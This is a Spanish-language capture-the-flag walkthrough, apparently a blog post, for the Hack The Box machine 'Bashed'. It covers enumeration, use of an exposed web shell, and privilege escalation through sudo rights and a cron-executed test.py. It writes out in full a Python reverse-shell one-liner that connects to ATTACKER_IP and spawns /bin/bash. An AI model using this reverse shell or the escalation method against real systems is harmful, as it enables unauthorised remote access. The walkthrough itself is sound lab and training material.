Bashed | Hack The Box

En este tutorial voy a mostrar como obtuve la bandera root en la máquina Bashed de Hack The Box. Esta propiedad se presenta como un desafío de nivel fácil.

Bashed

18 de diciembre de 2024

Enumeración


Para comenzar voy a realizar un escaneo de puertos usando nmap:

nmap

El único puerto que encuentro abierto es el 80. Con lo cuál voy a ingresar a la página para ver de que se trata:

Pagina

La página es una shell web que permite realizar shells reversas.

Voy a realizar una busqueda de directorios para encontrar algo donde empezar a buscar:

gobuster

El directorio /dev me resulta interesante y al ingresar veo que es una Shell, la cual me permite ejecutar comandos:

shell web

Navegando por la Shell encuentro en el acchivo cat/passwd una lista con nombres de usuario:

passwd

Al ingresar en home/arrexel pude encontrar la bandera de usuario:

user flag

Escalada de Privilegios


Para lograr escalar privilegios primero voy a ver que permisos tengo:

Permisos

Veo que tengo permisos para ejecutar el usuario scriptmanager como sudo sin contraseña, lo cual es un punto importante para lograr la escalada de privilegios. Pero al tratarse de una Shell semi interactiva, no me es posible cambiar de usuario para lograr la escalada. Así que voy a intentar una reverse Shell desde mi terminal.

Al ingresar which Python veo que la maquina tiene Python instalado, asi que lo voy a usar para lograr la reverse Shell. Ingreso el siguiente comando para lograr la reverse Shell:

sudo -u scriptmanager python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",ATTACKER_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

Paralelamente abro una terminal de escucha con netcat y al ingresar el comando de Python logre la reverse Shell:

reverse shell

Navegando por la consola encontré el directorio scripts y en el un archivo de nombre test.txt y otro test.py.

test.pytest

Test.py pareciera ser un programa que lo que hace es crear el archivo test.txt y por lo que veo se ejecuta automáticamente cada 2 minutos:

test horario

Lo que puedo hacer es editar el archivo test.py para lograr una reverse Shell con permisos de root.

Así que en mi maquina local voy a crear un archivo de nombre test.py y le voy a incluir una reverse Shell para luego pasársela a la maquina victima y ejecutarla:

reverse python

Para poder pasarle el archivo a la maquina remota voy a iniciar un servidor con Python y abrir un puerto de escucha con netcat en el mismo puerto que le pase al reverse Shell, en este caso 8888.

python server

Y ahora lo paso a la maquina victima.

Importante antes de enviarlo eliminar el archivo test.py de la maquina victima así evitar que se duplique el nombre.

test.py1

Ahora solo resta esperar a que se ejecute para ganar acceso con permisos de root:

root

Y listo! Solo resta navegar hasta el directorio root para encontrar la bandera.

Espero que este tutorial te haya sido de ayuda!